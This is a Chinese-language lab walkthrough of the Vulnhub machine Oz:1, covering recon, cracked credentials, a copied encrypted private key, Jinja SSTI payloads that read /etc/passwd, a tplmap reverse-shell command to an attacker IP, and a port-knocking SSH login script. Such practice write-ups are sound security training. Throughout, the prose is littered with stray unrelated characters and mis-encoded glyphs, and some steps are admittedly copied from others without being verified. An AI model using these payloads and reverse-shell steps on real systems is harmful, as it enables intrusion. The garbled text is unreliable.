Vulnhub-靶機-Oz:1

本篇文章僅用于技術(shù)交流學習和研究的目的扇售，嚴禁使用文章中的技術(shù)用于非法目的和破壞，否則造成一切后果與發(fā)表本文章的作者無關(guān)

靶機環(huán)境：https://www.vulnhub.com/entry/oz-1,317/

1. 信息收集

nmap -sV -sC -T5 -p- 192.168.5.128

掃描結(jié)果：

kali@kali:~$ nmap -sV -sC -T5 -p- 192.168.5.128

Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-06 21:49 EDT

Nmap scan report for 192.168.5.128

Host is up (0.00087s latency).

Not shown: 65533 filtered ports

PORT? ? STATE SERVICE VERSION

80/tcp? open? http? ? Werkzeug httpd 0.14.1 (Python 2.7.14)

|_http-title: OZ webapi

|_http-trane-info: Problem with XML parsing of /evox/about

8080/tcp open? http? ? Werkzeug httpd 0.14.1 (Python 2.7.14)

| http-open-proxy: Potentially OPEN proxy.

|_Methods supported:CONNECTION

|_http-server-header: Werkzeug/0.14.1 Python/2.7.14

| http-title: GBR Support - Login

|_Requested resource was http://192.168.5.128:8080/login

|_http-trane-info: Problem with XML parsing of /evox/about

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 73.76 seconds

發(fā)現(xiàn)開放了兩個端口分別為：80惹苗，8080

根據(jù)nmap掃描的信息可以知道套耕，開放的端口是Python2.7版本寫的Werkzeug构灸，用這個關(guān)鍵字在github搜了下，發(fā)現(xiàn)有個利用的exp笋额，可以命令執(zhí)行

https://github.com/Fare9/PyWerkzeug-Debug-Command-Execution/

這個有對于的metasploit的payload

上述測試發(fā)現(xiàn)不行元暴，目標調(diào)試模式?jīng)]有開啟

嘗試使用dirsearch暴力猜解目錄,這個下載下來直接使用python3執(zhí)行即可，下面是github地址

https://github.com/maurosoria/dirsearch

對目標開始爆破的命令

python3 dirsearch.py -u http://192.168.5.128 -e *

掃描的全是返回的200響應碼兄猩，訪問幾個測試一下茉盏，實際是不存在的，但是目標會干擾你的思路枢冤，因為訪問的時候會顯示一個隨機的字符串

那么看看目標網(wǎng)站還有什么被允許的請求

使用curl命令進行測試

kali@kali:~$ curl -i -X OPTIONS http://192.168.5.128

HTTP/1.0 200 OK

Content-Type: text/html; charset=utf-8

Allow: HEAD, OPTIONS, GET

Content-Length: 0

Server: Werkzeug/0.14.1 Python/2.7.14

Date: Fri, 07 Aug 2020 10:17:04 GMT

發(fā)現(xiàn)了一個特點鸠姨，那就是返回的200響應碼顯示的結(jié)果中的Content-Length為0，那么我們可以使用這個特點來測試淹真，這里就直接使用wfuzz命令來進行模糊測試

wfuzz -u http://192.168.5.128/FUZZ/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt --hl 0

wfuzz的使用方式：https://blog.csdn.net/hardhard123/article/details/79596104

sqlmap -u "http://192.168.5.128/users" --dbs --batch? 這里我使用的靶機并沒有測試成功能夠注入讶迁，下面兩步操作是根據(jù)網(wǎng)上的記錄拿下來的，大家有疑問可以自己去嘗試核蘸，目的重點是學習這其中的方法和思路巍糯，靶機是為了訓練實戰(zhàn)，加深印象

注入成之后能獲取對應的賬號和加密的密碼

通過使用john進行破解密碼

john --format=pbkdf2-hmac-sha256 --wordlist=/usr/share/wordlist/rockyou.txt ozhases.txt

破解出來獲取的如下密碼

wizard.oz：wizardofoz22

上述也可使用hashcat進行破解

因為這里無法通過sql注入客扎，所以無法獲得目標用戶的私鑰祟峦，這里就直接從網(wǎng)上的拿過來

-----BEGIN RSA PRIVATE KEY-----

Proc-Type: 4,ENCRYPTED

DEK-Info: AES-128-CBC,66B9F39F33BA0788CD27207BF8F2D0F6

RV903H6V6lhKxl8dhocaEtL4Uzkyj1fqyVj3eySqkAFkkXms2H+4lfb35UZb3WFCnb6P7zYZDAnRLQjJEc/sQVXuwEzfWMa7pYF9Kv6ijIZmSDOMAPjaCjnjnX5kJMK3Fne1BrQdh0phWAhhUmbYvt2z8DD/OGKhxlC7oT/49I/ME+tm5eyLGbK69Ouxb5PBtynh9A+Tn70giENR/ExO8qY4WNQQMtiCM0tszes8+guOEKCckMivmR2qWHTCs+N7wbzna//JhOG+GdqvEhJp15pQuj/3SC9O5xyLe2mqL1TUK3WrFpQyv8lXartH1vKTnybdn9+Wme/gVTfwSZWgMeGQjRXWe3KUsgGZNFK75wYtA/F/DB7QZFwfO2Lb0mL7Xyzx6nZakulY4bFpBtXsuBJYPNy7wB5ZveRSB2f8dznu2mvarByMoCN/XgVVZujugNbEcjnevroLGNe/+ISkJWV443KyTcJ2iIRAa+BzHhrBx31kG//nix0vXoHzB8Vj3fqh+2MnEycVvDxLK8CIMzHc3cRVUMBeQ2X4GuLPGRKlUeSrmYz/sH75AR3zh6Zvlva15Yavn5vR48cdShFS3FC6aH6SQWVe9K3oHzYhwlfT+wVPfaeZrSlCH0hG1z9C1B9BxMLQrnDHejp9bbLppJ39pe1U+DBjzDo4s6rk+Ci/5dpieoeXrmGTqElDQi+KEU9g8CJptonbYAGUxPFIpPrN2+1RBbxY6YVaop5eyqtnF4ZGpJCoCW2r8BRsCvuILvrO1O0gXF+nwtsktmylmHvHApoXrW/GThjdVkdD9U/6Rmvv3s/OhtlAp3Wqw6RI+KfCPGiCzh1Vn0yfXH70CfLO2NcWtO/JUJvYH3M+rvDDHZSLqgW841ykzdrQXnR7s9Nj2EmoW72IHnznNPmB1LQtD45NH6OIG8+QWNAdQHcgZepwPz4/9pe2tEqu7Mg/cLUBsTYb4a6mftnicOX9OAOrcZ8RGcIdVWtzU4q2YKZex4lyzeC/k4TAbofZ0E4kUsaIbFV/7OMedMCnzCTJ6rlAl2d8e8dsSfF96QWevnD50yx+wbJ/izZonHmU/2ac4c8LPYq6Q9KLmlnunvI9bLfOJh8DLFuqCVI8GzROjIdxdlzk9yp4LxcAnm1Ox9MEIqmOVwAd3bEmYckKwnw/EmArNIrnr54Q7a1PMdCsZcejCjnvmQFZ3ko5CoFCC+kUe1j92i081kOAhmXqV3nc6xgh8Vg2qOyzoZm5wRZZF2nTXnnCQ3OYR3NMsUBTVG2tlgfp1NgdwIyxTWn09V0nnOzqNtJ7OBt0/RewTsFgoNVrCQbQ8VvZFckvG8sV3U9bh9Zl28/2I3B472iQRo+5nuoRHpAgfOSOERtxuMpkrkU3IzSPsVS9c3LgKhiTS5wTbTw7O/vxxNOoLpoxO2Wzbn/4XnEBh6VgLrjThQcGKigkWJaKyBHOhEtuZqDv2MFSE6zdX/N+L/FRIv1oVR9VYvnQGpqEaGSUG+/TSdcANQdD3mv6EGYI+o4rZKEHJKUlCI+I48jHbvQCLWaR/bkjZJunXtSuV0TJXto6abznSC1BFlACIqBmHdeaIXWqH+NlXOCGE8jQGM8s/fd/j5g1Adw3

-----END RSA PRIVATE KEY-----

有了私鑰，但是目標只開放了80和8080端口徙鱼，那先放著

開始訪問8080端口

使用burpsuite進行抓包查看

POST / HTTP/1.1

Host: 192.168.5.128:8080

Content-Length: 30

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

Origin: http://192.168.5.128:8080

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

Referer: http://192.168.5.128:8080/

Accept-Encoding: gzip, deflate

Accept-Language: zh-TW,zh;q=0.9,en-US;q=0.8,en;q=0.7

Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6IndpemFyZC5veiIsImV4cCI6MTU5Njc5OTA4Mn0.hRecZ0MV_2HusS947TIhqpUrn6ZS99CD4FQhrY2i8_s

Connection: close

name={{8*'8'}}&desc=dsfsdfasdf

HTTP/1.0 302 FOUND

Content-Type: text/html; charset=utf-8

Content-Length: 31

Location: http://192.168.5.128:8080/

Server: Werkzeug/0.14.1 Python/2.7.14

Date: Fri, 07 Aug 2020 11:11:35 GMT

Name: 88888888 desc: dsfsdfasdf

POST / HTTP/1.1

Host: 192.168.5.128:8080

Content-Length: 82

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

Origin: http://192.168.5.128:8080

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

Referer: http://192.168.5.128:8080/

Accept-Encoding: gzip, deflate

Accept-Language: zh-TW,zh;q=0.9,en-US;q=0.8,en;q=0.7

Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6IndpemFyZC5veiIsImV4cCI6MTU5Njc5OTA4Mn0.hRecZ0MV_2HusS947TIhqpUrn6ZS99CD4FQhrY2i8_s

Connection: close

name={{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}&desc=2

使用tplmap進行 ssti注入

https://github.com/epinna/tplmap

python tplmap.py -u 'http://192.168.5.128:8080' -X POST -d 'name=*&desc=anything' -c 'token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6IndpemFyZC5veiIsImV4cCI6MTU5NjgwMjkxMH0.GU5jNRig6m1UPOl97Avigh01FAV74vN9lTzeUpFsexY' --reverse-shell 192.168.5.129 4488

我這里測試的靶機同樣并沒有成功

/.secret # cat knockd.conf

[options]

? ? logfile = /var/log/knockd.log

[opencloseSSH]

? ? sequence? ? = 40809:udp,50212:udp,46969:udp

? ? seq_timeout? ? = 15

? ? start_command? ? = ufw allow from %IP% to any port 22

? ? cmd_timeout? ? = 10

? ? stop_command? ? = ufw delete allow from %IP% to any port 22

? ? tcpflags? ? = syn

? ? 大概意思就是在15秒內(nèi)宅楞，安裝順序聯(lián)系udp端口40809，50212袱吆，46969厌衙，之后的10秒鐘之內(nèi)是可以連接目標的22端口

上述操作完成之后發(fā)現(xiàn)有knock，那么可以通過如下腳本進行操作

#!/bin/bash

ports="40809 50212 46969"

for port in $ports; do

? ? echo "[*] Knocking on ${port}"

? ? echo "a" | nc -u -w 1 192.168.5.128 ${port}

? ? sleep 0.1

done;

echo "[*] Knocking done."

echo "[*] Password:"

echo "N0Pl4c3L1keH0me"

ssh -i /home/kali/Downloads/id_rsa dorthi@192.168.5.128

也有另一種方法

https://github.com/grongor/knock

./knock 192.168.5.128 -u 40809 50212 46969 && ssh -i id_rsa dorthi@192.168.5.128

參考：

https://www.anquanke.com/post/id/170362

https://www.twblogs.net/a/5c433dcabd9eee35b3a6f4d2/?lang=zh-cn